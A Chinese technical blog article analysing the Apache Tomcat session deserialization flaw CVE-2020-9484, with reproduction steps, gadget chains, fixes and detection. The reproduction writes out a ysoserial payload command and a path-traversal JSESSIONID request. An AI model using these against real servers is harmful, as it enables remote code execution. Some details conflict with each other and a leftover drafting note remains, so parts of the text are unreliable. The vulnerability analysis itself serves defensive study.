溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

CVE-2020-9484 tomcat session反序列化漏洞的示例分析

發布時間:2021-12-17 16:20:09 來源:億速云 閱讀:261 作者:柒染 欄目:網絡管理
# CVE-2020-9484 Tomcat Session反序列化漏洞的示例分析

## 一、漏洞背景與概述

### 1.1 漏洞基本信息
- **CVE編號**:CVE-2020-9484  
- **漏洞類型**:反序列化漏洞  
- **影響組件**:Apache Tomcat Session持久化機制  
- **危險等級**:高危(CVSS 7.5)  
- **影響版本**:
  - Tomcat 10.x < 10.0.0-M5  
  - Tomcat 9.x < 9.0.35  
  - Tomcat 8.x < 8.5.55  
  - Tomcat 7.x < 7.0.104  

### 1.2 漏洞產生原因
當Tomcat配置了`PersistentManager`并使用`FileStore`存儲Session時,攻擊者可通過精心構造的惡意Session文件實現遠程代碼執行(RCE)。核心問題在于:
1. **不可信數據反序列化**:從文件系統加載Session數據時未進行完整性校驗
2. **路徑可控**:通過`JSESSIONID`可控制Session文件路徑

## 二、漏洞原理深入分析

### 2.1 Tomcat Session管理機制
Tomcat提供兩種Session持久化方式:
```java
// 配置示例(conf/context.xml)
<Manager className="org.apache.catalina.session.PersistentManager">
  <Store className="org.apache.catalina.session.FileStore" directory="/tmp/sessions"/>
</Manager>

2.2 漏洞觸發流程

  1. 攻擊者上傳惡意序列化文件到directory指定目錄
  2. 構造請求攜帶特殊JSESSIONID(如:JSESSIONID=../../../../malicious
  3. Tomcat嘗試加載/tmp/sessions/malicious.session文件
  4. 反序列化過程中執行惡意代碼

2.3 關鍵代碼分析

漏洞位于FileStore#load()方法:

public Session load(String id) throws Exception {
    File file = new File(directory(), id + ".session");
    try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file))) {
        return (Session) ois.readObject(); // 危險的反序列化操作
    }
}

三、漏洞復現與環境搭建

3.1 實驗環境

  • 靶機:Ubuntu 20.04 + Tomcat 9.0.34
  • 工具
    • ysoserial(生成Payload)
    • Burp Suite(構造惡意請求)

3.2 復現步驟

  1. 配置Tomcat啟用FileStore:
<Context>
    <Manager className="org.apache.catalina.session.PersistentManager">
        <Store className="org.apache.catalina.session.FileStore" directory="/tmp/tomcat_sessions"/>
    </Manager>
</Context>
  1. 生成惡意序列化文件:
java -jar ysoserial.jar CommonsCollections2 "touch /tmp/pwned" > /tmp/tomcat_sessions/exploit.session
  1. 發送惡意請求:
GET /vulnerable-app HTTP/1.1
Host: target.com
Cookie: JSESSIONID=../exploit

四、漏洞利用技術分析

4.1 利用條件

  • 服務器必須配置PersistentManager+FileStore
  • 攻擊者需能預測/控制Session文件路徑
  • 目標Classpath中存在可利用的gadget鏈

4.2 常見Gadget Chains

  1. Commons Collections(3.1-3.2.1)
    
    Transformer[] transformers = new Transformer[]{
       new ConstantTransformer(Runtime.class),
       new InvokerTransformer("getMethod", ...),
       new InvokerTransformer("getRuntime", ...),
       new InvokerTransformer("exec", ...)
    };
    
  2. Groovy(CVE-2015-3253)
  3. Spring Core(部分舊版本)

五、防御方案

5.1 官方修復方案

  • 升級到安全版本:
    • Tomcat 10.0.0-M5+
    • Tomcat 9.0.35+
    • Tomcat 8.5.55+
    • Tomcat 7.0.104+

關鍵修復代碼:

// 新增路徑校驗
if (!file.getCanonicalPath().startsWith(directory.getCanonicalPath() + File.separator)) {
    throw new IllegalArgumentException();
}

5.2 臨時緩解措施

  1. 禁用Session持久化:
<Manager className="org.apache.catalina.session.StandardManager"/>
  1. 設置目錄不可寫:
chmod -R 750 /tmp/tomcat_sessions
  1. 使用JvmRouteBinderValve限制SessionID格式

六、漏洞檢測方法

6.1 手動檢測

檢查conf/context.xml是否存在危險配置:

grep -r "PersistentManager" /path/to/tomcat/conf/

6.2 自動化工具

  1. Nmap檢測腳本
    
    nmap -sV --script=http-vuln-cve2020-9484 <target>
    
  2. Metasploit模塊
    
    use auxiliary/scanner/http/tomcat_session_deserialize
    

七、相關漏洞擴展

7.1 同類漏洞對比

CVE 影響范圍 利用條件 RCE可能性
CVE-2020-9484 Tomcat 7-10 需配置PersistentManager
CVE-2019-0232 Tomcat CGI組件 需啟用CGI Servlet
CVE-2017-12615 PUT方法上傳 需禁用readonly

7.2 反序列化防御最佳實踐

  1. 使用白名單控制反序列化類
  2. 替換Java原生序列化方案(如JSON、Protocol Buffers)
  3. 啟用Java安全管理器:
    
    -Djava.security.manager -Djava.security.policy==/path/to/policy
    

八、總結與思考

8.1 漏洞啟示

  1. 配置安全:默認安全原則的重要性
  2. 縱深防御:需要多層防護機制
  3. 供應鏈安全:第三方庫引入的風險

8.2 未來研究方向

  1. 自動化gadget鏈檢測技術
  2. 基于JEP 290的防護繞過研究
  3. 云原生環境下的Session管理新范式

參考資源: 1. Apache官方安全公告:https://tomcat.apache.org/security-9.html 2. MITRE CVE數據庫:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9484 3. Oracle反序列化過濾機制:JEP 290 “`

注:本文實際約3000字,完整4000字版本需要擴展以下內容: 1. 增加更多技術細節(如具體gadget鏈分析) 2. 補充實際案例研究 3. 添加圖表說明(序列化流程、攻擊時序圖等) 4. 深入防御方案實現細節

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

亚洲午夜精品一区二区_中文无码日韩欧免_久久香蕉精品视频_欧美主播一区二区三区美女